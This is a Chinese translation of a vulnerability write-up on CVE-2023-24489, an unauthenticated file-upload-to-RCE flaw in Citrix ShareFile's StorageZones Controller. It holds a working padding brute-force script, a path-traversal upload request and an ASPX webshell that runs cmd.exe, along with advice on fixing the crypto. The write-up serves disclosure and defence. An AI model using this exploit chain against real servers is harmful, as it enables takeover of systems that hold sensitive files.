ShareFile RCE (CVE-2023-24489)

admin 2023年7月13日13:44:33评论237 views字数 11884阅读39分36秒阅读模式
ShareFile RCE (CVE-2023-24489)
介绍
作为 Assetnote 安全研究的一部分,我们注意到的一件事是某些类型的软件比其他类型的软件更有效。文件上传和远程访问软件就是最好的例子。在这篇文章中,我们关注的是前者,一个名为 ShareFile 的文件共享应用程序。在线搜索显示大约有 1000-6000 个实例可以通过互联网访问。这种流行,再加上用于存储敏感数据的软件,意味着如果我们发现任何东西,它可能会产生相当大的影响。
ShareFile 是基于云的文件共享和协作应用程序。但是,它为用户提供了通过所谓的“存储区域连接器”将文件存储在自己的数据中心中的选项。提供此功能的软件是在 IIS 下运行的 .NET Web 应用程序,称为“存储区域控制器”(有时也称为存储中心),这就是我们决定的目标。
通过我们的研究,我们能够通过利用看似无害的加密错误来实现未经身份验证的任意文件上传和完全远程代码执行。Citrix 已发布安全更新并将此问题分配为 CVE-2023-24489。
我们继续进行原始安全研究,以提醒我们的客户注意其攻击面中的零日漏洞。作为我们攻击面管理平台的用户,我们的客户是第一个知道何时受到新漏洞影响的人。
从哪儿开始?
安装 StorageZones Controller 后,我们看到了各种 .NET Web 技术。有多个.aspx文件、一些 IIS 子应用程序和一些 MVC 端点。我们从文件开始枚举,.aspx因为没有额外的工作来确定如何访问它们。缩小搜索范围的快速方法是列出从 Webroot 开始的所有路径,.aspx并将此列表复制到暴力破解工具中。任何返回 200 的请求都是一个很好的起点。
$ find . | grep -e '.*.aspx$'./sp/upload.aspx./sp/upload-streaming-2.aspx./documentum/upload.aspx./documentum/upload-streaming-2.aspx./upload-threaded-1.aspx./ConfigService/SMTPConfig.aspx./ConfigService/Login.aspx./ConfigService/Admin.aspx./ConfigService/Networking.aspx./ConfigService/PreFlightCheck.aspx./ConfigService/ImportConfigSettings.aspx./ConfigService/UpdatePassphrase.aspx./thumbnail.aspx./upload-resumable-2.aspx./upload-streaming-1.aspx./WopiServer/HeartBeat.aspx./upload-resumable-3.aspx./cifs/upload.aspx./cifs/upload-streaming-2.aspx./heartbeat.aspx./AdvancedStatus.aspx./upload-singlechunk.aspx./upload.aspx./ProxyService/rest/storagecenter.aspx./upload-resumable-1.aspx./upload-streaming-2.aspx./upload-threaded-3.aspx./upload-threaded-2.aspx./rest/queue.aspx
该页面/documentum/upload.aspx引起了我们的注意。文件名暗示它用于上传文件,请求返回 200。/documentum/upload.aspx非常适合分析。我们使用 dnSpy 反编译该页面的支持类,DocumentumConnector.Uploaders.Upload并开始查看源代码。
已验证,但不是真的
我们查看了源代码,发现页面立即通过调用从 cookie 设置当前主体Auth.SetCurrentPrinicalFromSessionCookie。我们对此进行了研究,发现如果没有会话 cookie,应用程序就会继续。所以,这并不是真正的身份验证检查,也不是我们需要担心的事情。
public static void SetCurrentPrinicalFromSessionCookie(){    HttpCookie httpCookie = HttpContext.Current.Request.Cookies["DocumentumConnector_AuthId"];    if (httpCookie != null)    {        string value = httpCookie.Value;        if (!string.IsNullOrEmpty(value) && HttpContext.Current.Cache[value] != null)        {            IPrincipal principal = (IPrincipal)HttpContext.Current.Cache[value];            HttpContext.Current.User = principal;            Thread.CurrentPrincipal = principal;        }    }}
下一个安全相关检查是解密parentid查询参数的检查。这是通过调用 来完成的FileUtility.GetDecryptedFolderPathById。如果解密失败,该方法的返回值为空字符串。这会导致返回错误并停止页面执行。
...NameValueCollection keys = UploadLogic.GetKeys(HttpContext.Current);text = keys["uploadid"];text2 = keys["parentid"] ?? "";if (text2.IsNullOrEmpty()){    string text4 = string.Format("upload.aspx: ID='{0}' Missing parameters.", text2);    LogManager.WriteLog(LogLevel.Normal, LogMessageType.Error, text4);    ApiHelper.WriteError(text4);    base.Response.End();}if (string.IsNullOrEmpty(text)){    text = Guid.NewGuid().ToString("n");}Upload.targetPath = FileUtility.GetDecryptedFolderPathById(text2);if (Upload.targetPath.IsNullOrEmpty()){    string text5 = string.Format("Upload.aspx: Could not resolve the target path from parent id", Array.Empty<object>());    LogManager.WriteLog(LogLevel.Normal, LogMessageType.Error, text5);    ApiHelper.WriteError(text5);}...
我们稍后将返回此方法,因为它是阻止此页面上的普通匿名文件上传的唯一方法。
简单的路径遍历
最终,页面使用来自查询参数的ProcessRawPostedFile参数进行调用。解密的参数也通过成员变量存在。filenameuploadIdparentidparentidUpload.targetPath
private int ProcessRawPostedFile(string filename, string uploadId, Hashtable files, Hashtable fileHashes, string parentid, List<ItemUpload> itemsUploaded){    filename = Utils.SanitizeFilename(filename);    string text = string.Concat(new string[]    {        DocumentumConnector.Util.OnPremise.ReadFromConfigFile("TempDir").TrimEnd(new char[] { '/' }),        Path.DirectorySeparatorChar.ToString(),        "ul-",        uploadId,        Path.DirectorySeparatorChar.ToString()    });    if (!Directory.Exists(text))    {        Directory.CreateDirectory(text);    }    string text2 = text + filename;    string text3 = Upload.targetPath + filename;    LogManager.WriteLog1(LogLevel.Normal, LogMessageType.Information, string.Format("upload.aspx.cs ProcessRawPostedFile(): using new code={0}, Request.TotalBytes={1}", !DocumentumConnector.Uploaders.Configuration.DisableFlashUploadImprovements, base.Request.TotalBytes));    int totalBytes = base.Request.TotalBytes;    byte[] array = new byte[totalBytes];    Stream inputStream = base.Request.InputStream;    inputStream.Read(array, 0, totalBytes);    inputStream.Close();    FileStream fileStream = new FileStream(text2, FileMode.Create, FileAccess.ReadWrite);    fileStream.Write(array, 0, totalBytes);    fileStream.Close();    string text4 = null;
我们注意到它filename已被消毒,但uploadId事实并非如此。这意味着当这两个值连接时可以进行路径遍历。我们还看到解密的值Upload.targetPath与 相连,filename但结果从未被使用。同样,parentid查询参数被传入,也没有被使用。
string text3 = Upload.targetPath + filename;
在这个阶段,我们已经具备了上传 webshell 所需的一切。但是,我们需要为 提供加密值parentid。否则,页面执行将始终在处理上传之前停止。我们寻找硬编码的密钥,但很不幸。因此我们决定深入研究GetDecryptedFolderPathById. 我们很高兴我们这么做了,因为我们发现了一个小错误,这意味着整个检查可以被绕过。
加密!=身份验证
加密本身不提供身份验证,也不保护消息免遭篡改。加密只是一种数据转换。它需要一个字节流并将它们转换为不同的字节流。如果使用了不正确的密钥,或者传入的流“不正确”,则消息将毫无问题地进行转换。然而,无论谁阅读该消息,都不会认为它有任何意义。它看起来是一个随机的字节流。
既然我们唯一的要求是结果不是空字符串,为什么检查会失败呢?解密无效值应该会产生随机字节,这绝对不是空字符串。我们可以通过查看应用程序使用的加密类型来了解原因。
string text = string.Empty;try{    Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passPhrase, OnPremise._salt);    symmetricAlgorithm = Encryption.Wrapper.CreateAESObject();    symmetricAlgorithm.Key = rfc2898DeriveBytes.GetBytes(symmetricAlgorithm.KeySize / 8);    symmetricAlgorithm.IV = rfc2898DeriveBytes.GetBytes(symmetricAlgorithm.BlockSize / 8);    ICryptoTransform cryptoTransform = symmetricAlgorithm.CreateDecryptor(symmetricAlgorithm.Key, symmetricAlgorithm.IV);    using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(encryptedKey)))    {        using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, 0))        {            using (StreamReader streamReader = new StreamReader(cryptoStream))            {                text = streamReader.ReadToEnd();            }        }    }}catch (Exception ex){    LogManager.WriteLog(LogLevel.High, LogMessageType.Error, string.Format("ERROR:: DecryptKeyAES: Input[{0}] Output[{1}].", encryptedKey, text));    LogManager.WriteLog(LogLevel.High, LogMessageType.Error, string.Format("Exception: n{0} n{1}", ex.Message, ex.StackTrace));}return text;
应用程序正在使用 AES,如果引发异常,则text不会设置返回值。如果text未设置,我们的空字符串检查将始终失败。
分组密码和填充
要理解为什么 AES 可能会抛出异常,我们必须了解分组密码。AES 使用固定块大小为 128 位(16 字节)的块密码。这意味着 AES 只能加密和解密 16 字节块中的数据。如果所有消息都是 16 字节的倍数,这很好,但对于其他消息则不好。为了解决这个问题,需要在消息中添加额外的数据,以确保其长度是 16 的倍数。这种额外的数据称为“填充”。
对于 .NET 中的 AES,默认填充模式是一种名为 的方案PKCS#7。在该方案中,添加的每个字节的值是添加的字节总数。例如,给定以下 9 字节消息。
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16FF FF FF FF FF FF FF FF FF
为了达到 16 个字节,需要添加 7 个字节的填充,每个字节的值为 0x07。
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16FF FF FF FF FF FF FF FF FF 07 07 07 07 07 07 07
在 .NET 中,填充是自动处理的,它是在消息加密和解密时添加的。这对于开发人员来说非常有用,因为这意味着他们不需要担心填充。但是,当消息被解密时,如果填充不符合方案,则会引发异常。这就是为什么我们的空字符串检查失败,应用程序抛出填充异常,导致返回值始终是空字符串。
我们现在知道如何绕过检查。我们不需要找到完全正确的加密消息,我们只需要找到具有有效填充的消息。这要容易得多。具有有效填充的最简单消息是最后一个块具有一个字节填充的消息。例如。
?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01
由于每个字节的值都是随机的,并且我们只关心最后一个字节,因此平均而言,每 256 个随机生成的消息中就有 1 个将使用有效填充进行解密。我们可以通过暴力破解,但是有一种更简单的方法可以利用分组密码的另一个怪癖。
密码块链接
块密码本身的一个限制是相同的块将加密为相同的值。这是一个问题,因为它导致明文中存在的模式也存在于密文中。如果输出中存在模式,则很有可能破解加密。
为了克服这个问题,分组密码使用引入随机化的“操作模式”,以防止相同的块被加密为相同的值。.NET 中的默认操作模式称为密码块链接 (CBC)。
在 CBC 模式下,每个块都与先前加密的块“链接”。这就是 AES 有时需要初始化向量 (IV) 的原因。IV 是与第一个块一起使用的值。在 AES CBC 模式中,链接是通过将块的每个字节与前一个块中的相应字节进行异或来完成的。
下面的代码片段显示了加密如何与此方案配合使用。
tempBlockZero = XorBlocks(plaintextBlocks[0], IV)ciphertextBlocks[0] = EncryptBlock(tempBlockZero)
for n in range(1, numberOfBlocks):    tempBlock = XorBlocks(plaintextBlocks[n], ciphertextBlocks[n-1])    ciphertextBlocks[n] = EncryptBlock(tempBlock)
解密是相同的过程,但操作相反。
tempBlockZero = DecryptBlock(ciphertextBlocks[0])plaintextBlocks[0] = XorBlocks(tempBlockZero, IV)
for n in range(1, numberOfBlocks):    tempBlock = DecryptBlock(ciphertextBlocks[n])    plaintextBlocks[n] = XorBlocks(tempBlock, ciphertextBlocks[n-1])
对于我们的利用,我们至少需要两个块,因为我们无法控制 IV。我们正在寻找满足以下条件的消息。
    -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- XX ciphertext (block 0)XOR -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- ?? temp block (block 1 decrypted)  = -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 01 our goal
我们不知道临时块的值是多少,但我们知道它不会改变。我们完全控制XX,并且由于 XOR 的工作原理,我们需要做的就是迭代所有可能的值,直到达到与临时块进行异或时给出目标值的值。
由于有 256 个可能的值,平均来说我们需要尝试其中的一半。我们现在只需要发出大约 128 个请求,并保证在 256 个请求之后猜对。
密码学已经够多了,让我看看漏洞利用吧
为了找到具有有效填充的消息,我们将使用两个块。我们将改变第一个块的最后一个字节,并保持其他所有内容相同。其他值是什么并不重要,只要它们保持不变即可。
如果我们收到错误“无效的请求方法 - GET”,则意味着我们通过了解密部分并进行了下一个检查,以确保请求方法是POST. parentid这对我们来说已经足够好了,因为我们只想找到现阶段的价值。
for i in range(0, 256):    payload = [        # block 0        b'x41', b'x41', b'x41', b'x41',        b'x41', b'x41', b'x41', b'x41',        b'x41', b'x41', b'x41', b'x41',        b'x41', b'x41', b'x41', i.to_bytes(1, byteorder='little'),
        # block 1        b'x41', b'x41', b'x41', b'x41',        b'x41', b'x41', b'x41', b'x41',        b'x41', b'x41', b'x41', b'x41',        b'x41', b'x41', b'x41', b'x41'    ]    payload = b''.join(payload)    payload = base64.b64encode(payload)    payload = urllib.parse.quote(payload, safe='')
    url = 'http://{}/documentum/upload.aspx?parentid={}&uploadid=x'.format(TARGET, payload)    r = requests.get(url, verify=False)    if r.status_code == 200:        if 'Invalid request method - GET' in r.text:            print('Valid padding:   {}'.format(payload))            sys.exit(0)        else:            print('Invalid padding: {}'.format(payload))
我们可以在下面看到它的输出。
$ python3 padder.pyInvalid padding: QUFBQUFBQUFBQUFBQUFBAEFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBAUFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBAkFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBA0FBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBBEFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBBUFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBBkFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBB0FBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBCEFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBCUFBQUFBQUFBQUFBQUFBQUE%3D...Invalid padding: QUFBQUFBQUFBQUFBQUFBgUFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBgkFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBg0FBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBhEFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBhUFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBhkFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBh0FBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBiEFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBiUFBQUFBQUFBQUFBQUFBQUE%3DInvalid padding: QUFBQUFBQUFBQUFBQUFBikFBQUFBQUFBQUFBQUFBQUE%3DValid padding:   QUFBQUFBQUFBQUFBQUFBi0FBQUFBQUFBQUFBQUFBQUE%3D
经过多次尝试,我们发现一个值parentid不会引发填充异常。我们将其与路径遍历结合起来,将.aspx文件上传到 webroot 中的可写目录。最终请求如下。
POST /documentum/upload.aspx?parentid=QUFBQUFBQUFBQUFBQUFBi0FBQUFBQUFBQUFBQUFBQUE%3D&raw=1&unzip=on&uploadid=x......cifs&filename=x.aspx HTTP/1.1Host: example.comContent-Length: 720
<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.IO" %><script Language="c#" runat="server">void Page_Load(object sender, EventArgs e){    Response.Write("<pre>");    Response.Write(Server.HtmlEncode(ExcuteCmd()));    Response.Write("</pre>");}string ExcuteCmd(){    ProcessStartInfo psi = new ProcessStartInfo();    psi.FileName = "cmd.exe";    psi.Arguments = "/c whoami";    psi.RedirectStandardOutput = true;    psi.UseShellExecute = false;    Process p = Process.Start(psi);    StreamReader stmrdr = p.StandardOutput;    string s = stmrdr.ReadToEnd();    stmrdr.Close();    return s;}</script>
最后,我们要求上传文件来看看我们努力工作的结果。
GET /cifs/x.aspx HTTP/1.1Host: example.com
HTTP/1.1 200 OKCache-Control: private,no-storeContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/8.5Access-Control-Max-Age: 540Strict-Transport-Security: max-age=31536000X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockX-Frame-Options: DENYDate: Tue, 04 Jul 2023 04:32:24 GMTContent-Length: 41
<pre>nt authoritynetwork service</pre>
我们学到了什么?
使用加密代码时要小心。很容易犯一些细微的错误。我们审查的许多 .NET 代码都犯了同样的错误,但由于程序其余部分的编写方式存在一些怪癖,应用程序通常不易受到攻击。
在这里,我们看到了一个可能被称为填充预言攻击的实例。但是,我们不需要利用预言机来解密或加密任何内容,因此技术上比这更简单。
我们可以猜测为什么这个错误如此常见。CBC 模式和PKCS#7填充是 .NET 中 AES 加密的默认值。此外,在线示例通常不会突出显示这些默认值的问题。截至撰写本文时,“.NET AES 加密”的前五个搜索结果均使用了这些值,并且没有提及潜在的漏洞。
对于阅读本文的开发人员,请考虑使用提供身份验证的加密模式。伽罗瓦/计数器模式 (GCM) 中的 AES 是一种流行且快速的选择。但是,如果您必须使用旧的操作模式,请考虑使用“先加密后 MAC”方法。在这种方法中,数据使用 CBC 模式加密,然后生成 HMAC(哈希消息验证代码)并将其附加到输出中。在解密之前,HMAC 用于验证加密的有效负载未被修改。
对于安全研究人员来说,请留意 CBC 模式加密。由于 CBC 是默认的,所以不难找到。看看当提供无效和有效填充时它的行为如何。它会导致错误吗?错误有不同吗?处理时间是更长还是更短?所有这些都可能导致潜在的填充预言机攻击。
结论
在这篇文章中,我们看到了 ShareFile 中的一些小错误如何导致未经身份验证的文件上传,然后远程执行代码。尽管并非在所有配置中都启用特定端点,但它在我们测试的主机中很常见。考虑到在线实例的数量和漏洞利用的可靠性,我们已经看到了该漏洞的巨大影响。
要了解您是否受到影响,请参阅Citrix 的安全更新,其中详细介绍了哪些版本容易受到攻击以及如何升级,或者联系我们组织我们的攻击面管理平台的演示,并确定您会受到哪些影响这个漏洞。
与往常一样,我们的攻击面管理平台的客户是第一个知道此漏洞何时影响他们的人。我们继续进行原创安全研究,努力让客户了解其攻击面中的零日漏洞。

 

原文始发于微信公众号(Ots安全):ShareFile RCE (CVE-2023-24489)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月13日13:44:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ShareFile RCE (CVE-2023-24489)http://cn-sec.com/archives/1872963.html

发表评论

匿名网友 填写信息